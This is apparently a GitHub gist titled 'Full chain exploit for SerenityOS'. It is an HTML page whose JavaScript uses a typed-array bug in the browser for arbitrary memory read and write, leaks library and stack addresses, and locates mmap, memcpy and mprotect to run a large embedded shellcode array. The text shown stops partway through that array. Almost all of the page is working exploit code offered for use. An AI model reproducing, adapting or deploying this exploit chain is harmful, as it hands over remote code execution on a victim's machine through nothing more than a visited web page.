Skip to content

Instantly share code, notes, and snippets.

@wbowling

wbowling/_hax.html Secret

Last active Apr 6, 2021
Embed
What would you like to do?
Full chain exploit for SerenityOS
<!DOCTYPE html>
<html>
<head>
<title>hax</title>
</head>
<body>
hax
<script>
function log(msg) {
console.log(msg);
}
log("starting hax");
const AAAs = 2261634.509804;
const spray_size = 2000;
const spray = new Array(spray_size);
for (let i = 0; i < spray_size / 2; i++) {
spray[i] = new Number(AAAs);
}
// Create an array with a null backing store allowing arbitary rw
ab1 = new ArrayBuffer();
ua1 = new Uint32Array(ab1, 4, 0x3fffffff);
// Create an array with a large length but a valid backing store
ab2 = new ArrayBuffer(0x50000);
ua2 = new Uint32Array(ab2, 4, 0x3fffffff);
for (let i = spray_size / 2; i < spray_size; i++) {
spray[i] = new Number(AAAs);
}
log("done spraying");
function read(addr) {
return ua1[addr / 4 - 1];
}
function write(addr, value) {
ua1[addr / 4 - 1] = value;
}
// 0x6c000 is the offset from the array buffer to the next heap allocation
function read_heap(off) {
return ua2[0x6c000 / 4 + off];
}
function write_heap(off, value) {
ua2[0x6c000 / 4 + off] = value;
}
let number_i = 0;
log("looking for 0x41414141");
for (let i = 0; i < 100; i++) {
if (read_heap(i) == 0x41414141) {
log("found 0x" + i.toString(16) + ": 0x" + read_heap(i).toString(16));
number_i = i;
break;
}
}
const number_i_vtable = number_i - 8;
const libjs_data_addr = read_heap(number_i_vtable) - 0x28ac;
const libjs_addr = libjs_data_addr - 0xe0000;
const stack_addr = libjs_addr - 0x2537000;
log("libjs_data_addr 0x" + libjs_data_addr.toString(16));
log("libjs_addr 0x" + libjs_addr.toString(16));
log("stack_addr 0x" + stack_addr.toString(16));
log("looking for stack return");
let stack_ret = 0;
for (let i = stack_addr + 0x400000 - 4; i > stack_addr; i -= 4) {
if (read(i) == libjs_addr + 0x5af5e) {
log("found stack_ret 0x" + i.toString(16) + ": 0x" + read(i).toString());
stack_ret = i;
break;
}
}
const libc_addr = libjs_addr - 0x122000;
const mmap_addr = libc_addr + 0x1b379;
const memcpy_addr = libc_addr + 0x002f51d;
const mprotect_addr = libc_addr + 0x1b487;
/*
generated with:
```python
from pwn import *
data = read("./Build/Userland/Utilities/hax")[0x4C0:]
print("const shellcode = {};".format(unpack_many(data, 32)))
```
*/
const shellcode = [69487757, 4293977219, 2304113777, 2371246053, 4294907325, 2598917119, 2164260866, 6862275, 3967897856, 260, 1606541, 3012362240, 4294942224, 1435046027, 2379362788, 4288508035, 1625837823, 1778384901, 268462080, 6946816, 2724790122, 1778384896, 268462083, 6946816, 263912, 683967232, 6815850, 2298806272, 4294900869, 74574079, 6946816, 1048680, 1342204416, 57278826, 104, 2298505733, 4294901893, 64088319, 3296919552, 506156, 2767388672, 4278486409, 2207121407, 4294942448, 6881073, 1342177360, 4278486411, 393215, 1342504880, 275688, 214205184, 4279600525, 124452863, 75860816, 100663295, 83885705, 68675664, 3296919552, 813927692, 1761607582, 185, 75860816, 100663295, 82739200, 66578512, 2207055872, 4294942078, 3894674569, 1171, 6815850, 1795162080, 1761569280, 162, 6816618, 1778384912, 54126592, 3296919552, 2441317668, 1358954397, 288488, 4239756032, 2214592510, 4269871300, 2952790015, 3330353783, 67108864, 6815850, 1778384912, 1761569280, 178, 6816618, 1442840592, 194280, 549749504, 3471558537, 2366434435, 4288521091, 481660415, 1358954495, 268008, 1610659840, 6994705, 6879273, 2365587472, 4294910141, 1778412287, 1780574975, 6967299, 177896, 3116380416, 49, 4079797379, 3531836843, 1795162013, 1342269952, 4280059335, 65535, 954728448, 2197815299, 3345484996, 1442840576, 2481520490, 2365587459, 4288534403, 604277247, 241384, 1744857600, 4096, 3053387882, 4294967040, 90833258, 104, 3892341253, 595, 2368521347, 4288541827, 1778412287, 3907538945, 2197815298, 3345484996, 1442840576, 54847568, 2207055872, 4294942208, 3894674569, 863, 3894686857, 855, 2643428237, 76152831, 55175204, 3296919552, 1442769680, 1448600969, 4712531, 3280011264, 26210, 1779756163, 414944516, 1459617792, 1239955339, 2214592509, 1065554116, 2298639616, 4246399031, 4283498495, 1979650165, 141950732, 4294794216, 412323327, 2298478592, 4100295986, 1566531163, 605850563, 1720739523, 2425382544, 100840, 197296384, 2365587558, 7306, 478317824, 956301312, 2334487752, 4294965378, 1958774271, 3850982683, 1360325763, 3296973055, 2378418448, 9908, 3062693888, 0, 649366979, 0, 2536589, 2415919104, 80360, 3150086400, 1426063461, 2371085705, 7306, 478317824, 2197815296, 3358131436, 3905012617, 50053407, 4174501889, 2458588276, 4294967284, 175428229, 1342762115, 2211643217, 1569394884, 2378418684, 9908, 2422603776, 1474660693, 59880, 1741127936, 1442840677, 216826707, 2146176, 251658240, 32645, 3969354496, 2248146943, 2199090386, 3086945516, 16, 1172896649, 2214592508, 3079475396, 4294967036, 4278230925, 2274099199, 36, 4223791913, 32211714, 443799609, 2520205, 2298593411, 9351, 2249522944, 2393995, 3627614208, 3857246834, 2348810238, 4294963335, 1958774271, 216826644, 4008740749, 4220125183, 4227000400, 3296985087, 545768976, 16777216, 1542743437, 3277676382, 2536589, 2415919104, 1407551829, 4294876392, 3083043327, 2197815396, 2206926060, 4294967292, 427081861, 2366172291, 10371, 2207076352, 4294962928, 4222543952, 3296985087, 4233988880, 4274186697, 344719359, 1015792420, 3284386596, 2311074133, 139824101, 146560, 3946840948, 1438866935, 1398203785, 4294852840, 1539539455, 2197815396, 1435185388, 3965028644, 1618829, 109772800, 2348041609, 1166608453, 205884368, 2345944457, 1166614597, 272993240, 2346468745, 1166611525, 407210976, 2346993033, 1166613573, 2243965416, 2198631634, 3897691372, 4294967184, 2299577475, 1435365445, 1095888, 2194472960, 737430923, 3892671502, 4294967155, 1543005581, 1438866782, 36280, 2347075840, 1300957269, 1568853260, 3850982851, 138775383, 1443909003, 2299295115, 1587868615, 1438866783, 1448600969, 4254591059, 3280076799, 25522, 2335763587, 2371291261, 6323, 2298907392, 3224495173, 4294908904, 3564997119, 2366686339, 1166659669, 205884376, 3796223846, 1166606336, 272993244, 2630895047, 1728053247, 3101705609, 1, 1300988621, 1947085796, 4276217861, 1703804927, 1600019444, 3092628317, 3, 2337531273, 1300957269, 274565900, 1566278349, 1706579395, 2298478592, 139824101, 3440135563, 1438866818, 1398203785, 3892868491, 4294966529, 1662829441, 3968008192, 2515031564, 1526726654, 3897970777, 4294967241, 2366686339, 1583085669, 2422653789, 2422640742, 2422640742, 4294863336, 3955393023, 2332033122, 4294898818, 4294476799, 2304064116, 2592953317, 4294967028, 2365910147, 9908, 3062693888, 0, 1133236479, 82543612, 1979709571, 4233989107, 3029189577, 38, 649366784, 0, 4247447747, 12779519, 0, 0, 1918989427, 1735289204, 2019649568, 1852375050, 1952671082, 543649385, 1886413165, 174550633, 1869768448, 1852403055, 1701978215, 1852795239, 1711278707, 1768713321, 1965057902, 1869881456, 1935764512, 1701978228, 1852795239, 544175136, 1920102243, 544498533, 1633906540, 1852795252, 1731133450, 1862297447, 2003985782, 1953786226, 543649385, 1852990827, 1830841445, 1768976481, 681838, 1668572463, 1634235183, 7827300, 1668572463, 1634235183, 980905828, 32, 1048760, 14745536, 0, 0, 0, 0, 0, 0, 277807288, 2016969152, 252851286, 42628, 3760197376, 1048357, 3760328448, 3758096568, 2232978431, 2198631643, 411633355, 278727, 2197815296, 3999936, 1962926096, 266529538, 571463712, 2399189208, 2025439248, 2299671638, 10576904, 1677721600, 5515, 3493396480, 3350726516, 4290777490, 3229665232, 1660944386, 3338665984, 181376, 0, 2956179536, 3506421791, 3686599, 3338665984, 16448, 1086783488, 72, 1082181376, 4278190081, 3355443199, 83072, 4294967040, 1283508223, 1, 1560281088, 195, 0, 70627427, 0, 0, 0, 0, 0, 0, 0, 70062179, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 227, 3538947, 16842752, 855803, 16843009, 16777216, 771817472, 1699426094, 1818586738, 1668432175, 862531432, 1110390328, 7630703, 1869570560, 5451380, 1, 132352, 62918656, 553713884, 794384675, 2003261745, 825186649, 825186649, 825186649, 825186649, 1060133209, 811293017, 827931965, 808540505, 827931965, 808540505, 827931965, 2708840281, 1027424089, 1062812991, 811155289, 1499021117, 826093361, 1046046823, 591223129, 135791393, 794435858, 1529950000, 2235452221, 791621451, 794505263, 1999733537, 1751592793, 844705625, 1027424103, 1062812991, 1044215671, 1732077403, 1732077375, 1029269311, 790765859, 1224890661, 570491136, 33554432, 290524416, 66752, 12587344, 2126516224, 1220546562, 1757417809, 2327843153, 29364561, 1114496, 17892880, 235077906, 237309467, 1299, 1720739328, 2425382544, 28, 1357316098, 311313, 0, 3222274048, 638, 0, 0, 1261383214, 1701737061, 1916874604, 1764714595, 792082483, 1953460034, 1869570607, 5451380, 1702057263, 1999598450, 795634793, 1752459623, 1932485237, 1852142181, 796488809, 1818850626, 1313276004, 1396777045, 858665504, 3223093, 3222834004, 3223896592, 3223898136, 3223896640, 0, 0, 0, 1407551829, 239817704, 3955458304, 1358954495, 2963047309, 2370830354, 313585539, 1345022464, 1713734541, 3897557011, 16384, 1407551829, 239806440, 3217260800, 1358954495, 2970649485, 2370830354, 313585539, 1345415680, 1713734541, 3897557011, 16340, 69495939, 2429414160, 1407551829, 239793128, 2344845568, 1358954495, 2975237005, 2370830354, 313585539, 1345743360, 1713734541, 3897557011, 16288, 69495939, 2429414160, 1407551829, 239779816, 1472430336, 1358954495, 2980676493, 2370830354, 313585539, 1346071040, 1713734541, 3897557011, 16236, 69495939, 2429414160, 1407551829, 239766504, 600015104, 1358954495, 2985788301, 2370830354, 313585539, 1346398720, 1713734541, 3897557011, 16184, 69495939, 2429414160, 1407551829, 239753192, 4022567168, 1358954494, 2990441357, 2370830354, 313585539, 1346726400, 1713734541, 3897557011, 16132, 69495939, 2429414160, 1407551829, 239739880, 3150151936, 1358954494, 2994504589, 2370830354, 313585539, 1347119616, 1713734541, 3897557011, 16080, 1474660693, 4125643606, 2164264521, 4294872515, 3303834111, 2332033024, 3234269301, 3223898464, 1435046027, 1792160228, 2240370185, 4294967112, 79814120, 1183668224, 1979669008, 3689435148, 2365587502, 387872899, 944162560, 0, 3229812361, 273058124, 4283991437, 76152831, 2254497828, 2244411404, 4294967124, 0, 2332869763, 4294923397, 415006975, 1225392, 4278744064, 4294923397, 2347297791, 4294923397, 1552221183, 2315255807, 4294922373, 1619344383, 1996488703, 2143322994, 2198662275, 2303754464, 4294921349, 2607409407, 3296919565, 1552780048, 2181038079, 4294926525, 33023, 2009237760, 1689619724, 2315255807, 3953456071, 1686473512, 2248146943, 2300474560, 2210826711, 2508786924, 4294967108, 3897599219, 891259, 4282684811, 3296985087, 1283820304, 2315255807, 4294927509, 1619364351, 2181038079, 4294926525, 33023, 1686473984, 1996488703, 1686473478, 67108863, 4294925445, 1418562559, 2382364671, 313700531, 216826624, 2240530313, 4294967120, 2240390387, 4294967132, 4283991437, 3897622527, 819064, 4282942859, 3296985087, 3833432848, 91502635, 120457960, 4100295936, 1566531163, 3850982851, 1216014419, 3280011278, 4294966546, 295495760, 1532624896, 257802373, 1438892181, 1448600969, 1406958989, 239622120, 4022567168, 2214592508, 3234282732, 3223898464, 1300826251, 2311664100, 2380840005, 2298478769, 3628436934, 1355040137, 3000861581, 6946834, 3296067408, 215564776, 4283453440, 2371273845, 3898069109, 45472, 2312390029, 2371403845, 319133827, 6969856, 3228958544, 215554536, 482640640, 14712192, 1347421556, 1359342423, 3228958545, 1230301270, 3296919566, 216826640, 3904927231, 936120, 2148582531, 1946214525, 216826636, 1218898007, 3296919566, 216826640, 3905189375, 936088, 3800272216, 1509954226, 1340626512, 2197818532, 28971204, 2214592512, 1343976896, 3934489936, 1342182066, 2754930774, 3296919564, 419511312, 2211641298, 3968008930, 3293939980, 1213655126, 1435172878, 281314244, 1946352259, 216826710, 289597527, 3296919552, 3766321164, 2336519168, 1972094037, 1976731100, 216826650, 4276632682, 1493175706, 1448658825, 281510743, 4294782952, 2199251967, 678038764, 228254952, 1489471744, 3898037850, 11318, 3894688905, 4176, 2333131907, 1301003333, 1946692580, 746448901, 1703739399, 1600019444, 2304099165, 3991426021, 2164264518, 4294673859, 2207076607, 1225459, 746818896, 1744835251, 166, 1032031568, 1342182067, 3905512, 2304086016, 2304137189, 3119010758, 2164264518, 4294660547, 686588927, 1390431625, 3907278217, 936574, 2212779403, 3246985412, 2298757635, 3829762511, 2312656265, 2101075021, 1345090532, 1460172287, 3907024383, 469711, 2333131907, 1435229261, 1975551448, 63908109, 1187384442, 1049166084, 2097352939, 3117017868, 2, 4152999985, 1703783411, 1542490612, 3277676382, 1474660693, 1038635862, 2164264518, 4294628803, 753697791, 2332587403, 1170672709, 228, 444160, 3338665984, 1094, 1082851328, 138856212, 0, 2380023177, 313788547, 3628435712, 971275659, 2215631997, 187, 957105547, 527897720, 3007546253, 2370830354, 313781379, 12740608, 2370830336, 313785731, 2716356608, 2332033082, 1300958277, 473992164, 1355299981, 1778534285, 1979666438, 707979480, 3296919559, 1975551248, 21465706, 1451953803, 3812984836, 956383629, 3242948304, 2089616104, 79168769, 2197815296, 1108280575, 1945778680, 216826677, 2543970391, 1317732365, 214205192, 1166620415, 2303742420, 1038667853, 2332034854, 210358349, 2513823780, 1435172877, 75401684, 2299577475, 109774934, 2315802251, 210297677, 4278648578, 971629637, 2382364671, 4035572837, 1566531163, 2415920322, 2347075925, 1166740557, 408259336, 1300957320, 21530640, 2283031947, 3515417160, 2198006464, 3783466978, 72386563, 2283558283, 1351156552, 542477064, 206604646, 2304099165, 2371246053, 3897805941, 935144, 4185965441, 3968073727, 138775368, 3292891478, 3378563015, 126599208, 837043593, 2870143168, 1166868480, 4002123228, 2298483378, 216826866, 74059882, 4294830568, 348423167, 1220864086, 3296919566, 3766321168, 2333176832, 1435223109, 71354052, 3695545089, 753599113, 1443687555, 11144936, 3292891904, 3001977741, 4069064722, 1779231875, 3892603408, 4294966694, 1444201603, 239632872, 281314048, 736380299, 3892671495, 469459, 2378450315, 1583084645, 79846751, 3850982656, 3330889303, 1144711251, 3280011278, 4294965458, 3342658691, 1094, 1435041792, 3159198148, 3378563015, 126599208, 837043593, 444352, 3892314112, 725292, 1792036237, 3293940481, 2378190217, 7002189, 4026589825, 23789567, 3159198545, 14173639, 2164260864, 1048513, 3695560448, 0, 4026589569, 1170735103, 224, 1347571968, 3904927231, 732228, 1300960907, 3494234064, 0, 2379502985, 2303906901, 1204348942, 3296919566, 3228958484, 239582696, 3293940480, 268427905, 1451819008, 3829762820, 91490091, 120129256, 4100295936, 1583083657, 2428722527, 2931029, 3850960896, 3897775703, 934764, 4161061761, 3968073727, 142445388, 3338950539, 684286144, 2301660096, 4130464885, 2311878029, 4278184176, 1166802943, 1975551436, 4232374277, 1351352319, 3494218552, 1712123011, 67257483, 1166632534, 1195436228, 3071213582, 1468777549, 3561327876, 4294888680, 3561327615, 2232468611, 2345301184, 1879300213, 1186402104, 3158673698, 2301380237, 2105787461, 2215575740, 447, 2328118667, 1996766208, 54282263, 25003791, 3054436352, 2207550400, 1207956, 3808418305, 2215608636, 365, 2215608892, 357, 2215608380, 343, 89833, 3292891904, 2333366155, 9115727, 2346468745, 1082901573, 3762653444, 956383885, 3244848840, 1150092008, 1166607618, 83395520, 1208, 1162022656, 3225782720, 1265877305, 3238849667, 3897557984, 889995, 2299577475, 2344628673, 1194925143, 2333177364, 881443380, 3260320705, 3243542788, 3890954244, 309645957, 2299325571, 3897735245, 889519, 2209893771, 1166741700, 474974656, 2333624201, 1200297047, 3696069404, 2345667721, 1284104269, 1207895248, 12052756, 1166737408, 139955140, 2316062603, 1166542656, 3292892088, 2298560651, 1166782533, 1082877636, 1166632453, 21138870, 1651951673, 2365778113, 2298806852, 4169384005, 309252, 1125056512, 1166655557, 1942043072, 216826693, 1342431425, 227794664, 281314048, 3224487561, 957370251, 292948039, 2344686731, 2298790220, 1284097556, 3946841286, 1959364071, 216826636, 2449860689, 3296919565, 3225783056, 2299557769, 1468730439, 273124104, 2326820235, 76396621, 24152528, 3061156710, 1711472838, 2282057865, 1207895880, 2198268680, 3944006725, 3292889890, 2367482632, 313790339, 2207076352, 1225806, 2370855786, 325461379, 99110912, 4278190134, 938064973, 2214592510, 1166871788, 1072189652, 3338669637, 684286144, 281314240, 736386443, 3892671512, 468619, 1542743437, 3277676382, 1474660693, 4192752470, 2164264512, 4294283715, 2095875071, 3339212171, 41029, 1170669568, 164, 2302315264, 3234301013, 3223898464, 3884056201, 4095, 4026590849, 143392767, 837045641, 2353367497, 185456616, 3024981248, 1788630413, 1778412033, 6836481, 1442840592, 1300845136, 2421524872, 11814343, 3338665984, 47173, 1170669568, 188, 688056320, 1972043787, 2621803424, 10241479, 2298478592, 1972217973, 1166628520, 1149560992, 3296919566, 2423652116, 239368680, 2688912640, 2309258633, 1166615556, 1152051348, 2337931278, 1082885205, 71469316, 3902043647, 935064, 188779097, 630486527, 128, 3902555529, 935044, 2206748043, 2475495620, 1225846, 2299248771, 1166650453, 1787006412, 1358958158, 953, 3561326848, 3348120971, 43077, 1166606336, 3498282456, 2197818957, 1166609644, 3427110368, 1166665609, 3024456128, 363873735, 3338665984, 51269, 1170669568, 1232, 3695560448, 6, 46417351, 3338665984, 178245, 1170669568, 188, 3903189760, 851430, 2490761051, 239319528, 2353367808, 2333131907, 942400637, 149423476, 2365589285, 1583084645, 2428722527, 1474660693, 1978159958, 2164264511, 4294184387, 3370942975, 2332033024, 1187448949, 4, 138856192, 0, 3378561223, 1187495976, 12, 273073920, 0, 1435046027, 2312253924, 4294918277, 205884415, 1328839, 2298478592, 1485147398, 3355443199, 6214, 1187446784, 28, 2240368640, 4294967108, 209441256, 2357431552, 2197820084, 4283436268, 4294919349, 1117055231, 2244345870, 4294967127, 482640720, 4283927949, 3347709951, 394987147, 2240348522, 4294967100, 1392465745, 2240501768, 4294967100, 3898036314, 817815, 1152778073, 3909091327, 816528, 3894686857, 4294966700, 4282418571, 3296985087, 3830287120, 91490347, 119806696, 141920512, 1542743437, 3915210590, 4294966032, 1474660693, 2179486550, 2164264510, 4294121923, 955024383, 3339220363, 684286151, 2298973120, 3224495173, 1356613005, 4294535656, 214205439, 14712192, 113707125, 0, 3968017387, 3696593676, 1435050090, 2449467604, 3280535565, 1435195992, 3897774804, 4294966960, 3296927369, 3829762832, 91490091, 119774952, 4100295936, 1583083657, 79846751, 3109392384, 3, 1448600969, 1040377939, 3280011278, 4294963866, 16575617, 1166737408, 881182472, 16777215, 3338665984, 4294917253, 11263, 612731136, 2348810239, 2244414533, 4294967136, 0, 4279272841, 3234332671, 3223898464, 4284253639, 65535, 814415872, 837055881, 3129183734, 3338670772, 4294919301, 255, 884313344, 2315255807, 4294916229, 1686474239, 2315255807, 4294924421, 1082493439, 2382364671, 4294918277, 2244432127, 4294967112, 0, 2299325571, 3903189991, 850854, 4280583563, 13107199, 0, 278727, 3338665984, 2112, 2240610304, 4294967116, 3053411929, 4294967056, 4142852176, 2240544767, 4294967056, 4279797191, 65535, 3296919552, 138447628, 4279010697, 2207121407, 1226271, 4278224265, 2207121407, 1226288, 4277962121, 3180068863, 4294967064, 4279024953, 2215641087, 701, 4279272843, 2017067007, 2366142216, 313845379, 2337204992, 4294905989, 415075327, 3355443199, 4294907013, 255, 272665344, 2314732685, 4294910085, 1283820543, 2315255807, 4294903941, 347966463, 973078527, 4294903997, 1602490367, 956301314, 4294921405, 2367649791, 313890179, 2207076352, 1225708, 51048, 2207076352, 1225725, 826730576, 2240479232, 4294967124, 4279547275, 3180068863, 4294967072, 942670986, 2232353863, 527, 4284003725, 3968073727, 266884620, 2197818489, 3053391084, 4294967040, 1071179862, 3180003342, 4294967072, 253281411, 1376016310, 1976166480, 1516175372, 4277974527, 3897622527, 933814, 3180027737, 4294967072, 39302671, 2833797202, 1509952629, 3057423245, 1381564434, 1066723408, 2338258958, 4294910141, 3054459647, 1347552087, 209028840, 1284738304, 1493177014, 3897578079, 933746, 4280335755, 1499135999, 89634319, 1692946514, 1593838709, 1402178906, 1375736502, 1062266960, 1599668238, 4280335755, 3054501887, 1347552855, 209011432, 2475514368, 1226333, 3897578073, 933678, 549292895, 1526726655, 123188751, 552095826, 2298481781, 1307059252, 2332036210, 4294911109, 615877631, 2214592511, 143331524, 2365871755, 3493396801, 9340431, 3904962560, 21269762, 478513413, 2214592511, 79168760, 251658240, 4280059203, 2240413695, 4294967068, 1752416825, 3238849667, 3897558240, 888135, 2299577475, 2344628674, 4294911157, 616401919, 2348810239, 121178230, 3246986358, 81903936, 17448077, 309710, 2784165888, 4135967211, 3968014452, 76908812, 1459617791, 227236584, 76909312, 2214592511, 2240483524, 4294967076, 4280071563, 1351221247, 74483976, 4280321419, 2374762495, 4294967076, 2281980042, 4294909061, 545623039, 1728053247, 2315417739, 3054437712, 2240480880, 4294967076, 2240348299, 4294967044, 50651329, 2374699073, 4294967072, 122271247, 24676710, 3938506633, 141592834, 2198071171, 2305171426, 4294902925, 479038207, 2348810239, 4294902965, 72386815, 4186507400, 1711491208, 2332848265, 4294911109, 4278255615, 4294907013, 4254067199, 2248146943, 4294967064, 4294783465, 612731903, 838860799, 2298514431, 4294910085, 528715263, 2298483382, 4294909061, 813927935, 2298483382, 4294908037, 549272575, 268435455, 71300, 612731648, 973078527, 2366338872, 313945475, 4250659072, 2240544767, 4294967076, 4283995533, 4270456831, 3238849667, 2508784870, 4294967060, 141558599, 1988946002, 2508914700, 4294967060, 4279037059, 4294909109, 1340625663, 251661885, 3296923318, 3897577752, 815943, 3053410650, 4294967064, 1026877520, 1499070478, 21935631, 753422417, 1509952627, 244026713, 1358959287, 1025042512, 1499070478, 72267279, 283660369, 1509952627, 1015778649, 1358959286, 1023207504, 1499070478, 38712847, 4108865617, 1509952626, 1284214105, 1358959286, 1021372496, 1499070478, 55490063, 3639103569, 1509952626, 1401654617, 1358959286, 1019537488, 1499070478, 1342732031, 208918248, 2371443200, 313941387, 3897577728, 933034, 3071236442, 1347488846, 208839400, 345344768, 2315255807, 3387434004, 2197818479, 3739816132, 3355443198, 4294921349, 255, 1418038016, 2248146943, 2198631616, 3897560300, 887107, 3339764867, 684286144, 3832908736, 91500587, 119420648, 612731648, 2382364671, 1583084645, 79846751, 2304086016, 2649248741, 2164264504, 4293735875, 2207076607, 1226533, 1686342992, 1744835255, 390, 629378384, 1342182246, 2967528, 2304086016, 1843942373, 2164264504, 4293723587, 2207076607, 1226622, 1686342992, 1744835255, 395, 629378384, 1342182246, 2955240, 2304086016, 1038636005, 2164264504, 4293711299, 2207076607, 1226698, 1686342992, 1744835255, 400, 629378384, 1342182246, 2942952, 2304086016, 233329637, 2164264504, 4293699011, 2207076607, 1226769, 1686342992, 1744835255, 405, 629378384, 1342182246, 2930664, 2304086016, 3722990565, 2164264503, 4293686723, 3229963007, 2207063925, 1225459, 746818896, 1744835251, 166, 1032031568, 1342182067, 2917352, 4233988864, 2304099273, 384325605, 2164264517, 4293672391, 3599324927, 1407405453, 3968058249, 3813000752, 1623377744, 2344626377, 3829762306, 59490353, 1792300425, 4283650305, 1515718736, 4220080982, 208879336, 3562375936, 2333131907, 36430917, 3639084404, 2365589276, 1583084645, 2428722527, 1474660693, 1405520214, 238502888, 3687022848, 2214592491, 1300834540, 1435063008, 990439652, 1435172878, 281314276, 1107542409, 2312079620, 1435100229, 3696069080, 1944354107, 1979666476, 1979668232, 458877152, 3296919559, 3696069392, 2245547403, 688747968, 209322959, 17057478, 283852425, 3943464195, 178633, 3224436736, 2884892553, 2314495373, 1600019440, 3387474781, 83889718, 4294962021, 1582858379, 2428698647, 1407551829, 238467048, 1338212608, 1358954475, 1582873475, 1946157079, 1367575836, 1342182072, 3076817805, 845807634, 2458094928, 1342182072, 2841576, 138775296, 1582859145, 1569390615, 2428750332, 238449640, 